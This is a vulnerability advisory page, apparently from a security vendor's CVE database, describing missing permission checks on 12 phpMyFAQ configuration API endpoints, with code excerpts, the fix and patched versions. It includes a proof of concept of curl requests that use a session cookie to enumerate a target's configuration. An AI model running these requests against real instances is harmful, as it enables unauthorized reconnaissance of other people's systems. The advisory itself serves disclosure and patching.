NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-45007 — phpmyfaq

CVE-2026-45007 is a CWE-862 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.

phpMyFAQ - Missing Permission Check on 12 Configuration API Endpoints Allows Information Disclosure

Also known asGHSA-rm98-82fr-mcfx
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45007.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk
0.00%0.26%0.52%0.78%0.0%0.3%Jun 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
🐘thorsten/phpmyfaq🐘phpmyfaq/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

12 endpoints in ConfigurationTabController.php use userIsAuthenticated() (login-only check) instead of userHasPermission(PermissionType::CONFIGURATION_EDIT). This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.

Details

The ConfigurationTabController contains 15 public endpoints. Three of them (list, save, uploadTheme) correctly enforce CONFIGURATION_EDIT permission:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63
public function list(Request $request): Response
{
    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct
    // ...
}

The remaining 12 only check that the user is logged in:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353
public function translations(): Response
{
    $this->userIsAuthenticated(); // ❌ Missing permission check
    // ...
}

The difference between these two methods is significant:

// AbstractController.php:258 — login-only
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

// AbstractController.php:317 — login + permission check
protected function userHasPermission(PermissionType $permissionType): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
    $currentUser = $this->currentUser;
    if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {
        throw new ForbiddenException(/* ... */);
    }
}

There is no middleware or router-level authorization — the Kernel (Kernel.php) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.

The 12 affected endpoints (all GET, all under /admin/api/):

#MethodRouteInfo Exposed
1translations()/configuration/translationsAvailable languages + current language
2templates()/configuration/templatesAvailable themes + active theme
3faqsSortingKey()/configuration/faqs-sorting-key/{current}FAQ sorting key options
4faqsSortingOrder()/configuration/faqs-sorting-order/{current}FAQ sorting order
5faqsSortingPopular()/configuration/faqs-sorting-popular/{current}Popular FAQ sorting
6permLevel()/configuration/perm-level/{current}Permission model (basic/medium)
7releaseEnvironment()/configuration/release-environment/{current}Dev/production environment
8searchRelevance()/configuration/search-relevance/{current}Search relevance config
9seoMetaTags()/configuration/seo-metatags/{current}SEO meta tag config
10translationProvider()/configuration/translation-provider/{current}Translation service (DeepL, etc.)
11mailProvider()/configuration/mail-provider/{current}Mail provider (SMTP, etc.)
12cacheAdapter()/configuration/cache-adapter/{current}Cache backend (filesystem/redis/memcached)

The translations() and templates() endpoints directly read from config/filesystem and expose current settings. The {current} endpoints render HTML <option> dropdowns where the caller-supplied value gets the selected attribute — an attacker can enumerate possible values to discover the current configuration.

PoC

# Step 1: Authenticate as any user (even one with no admin permissions)
# and obtain the session cookie (pmf_auth_XXXX)

# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission

# Enumerate available languages and current language setting
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translations

# Enumerate available templates and which is active
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/templates

# Discover permission model by trying known values
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/perm-level/basic

# Discover release environment
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/release-environment/development

# Discover cache backend
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/cache-adapter/filesystem

# Discover mail provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/mail-provider/smtp

# Discover translation provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translation-provider/deepl

Expected: HTTP 403 Forbidden for a user without configuration_edit permission. Actual: HTTP 200 with configuration data in HTML option format.

Impact

Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:

  • The instance's permission model (basic vs. medium) — reveals access control architecture
  • Whether the instance runs in development or production mode — development mode may expose debug info
  • The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks
  • The mail provider configuration — reveals infrastructure details
  • Available and active templates/themes — aids in targeting template-specific vulnerabilities
  • Translation provider (e.g., DeepL) — reveals third-party service integrations

While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same CONFIGURATION_EDIT permission as the list and save endpoints.

Recommended Fix

Replace $this->userIsAuthenticated() with $this->userHasPermission(PermissionType::CONFIGURATION_EDIT) in all 12 affected methods:

// In ConfigurationTabController.php — apply to all 12 methods
// Before (line 355, and equivalent in all others):
$this->userIsAuthenticated();

// After:
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);

Affected methods: translations(), templates(), faqsSortingKey(), faqsSortingOrder(), faqsSortingPopular(), permLevel(), releaseEnvironment(), searchRelevance(), seoMetaTags(), translationProvider(), mailProvider(), cacheAdapter().

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.1.2composer require thorsten/phpmyfaq:^4.1.2
🐘Packagistphpmyfaq/phpmyfaqall versions4.1.2composer require phpmyfaq/phpmyfaq:^4.1.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update thorsten/phpmyfaq to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45007 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary 12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider. ## Details The `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission: ```php // phpmyfaq/s
O3 Security · Impact-Aware SCA

Is CVE-2026-45007 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-45007: phpmyfaq — Fixed in 4.1.2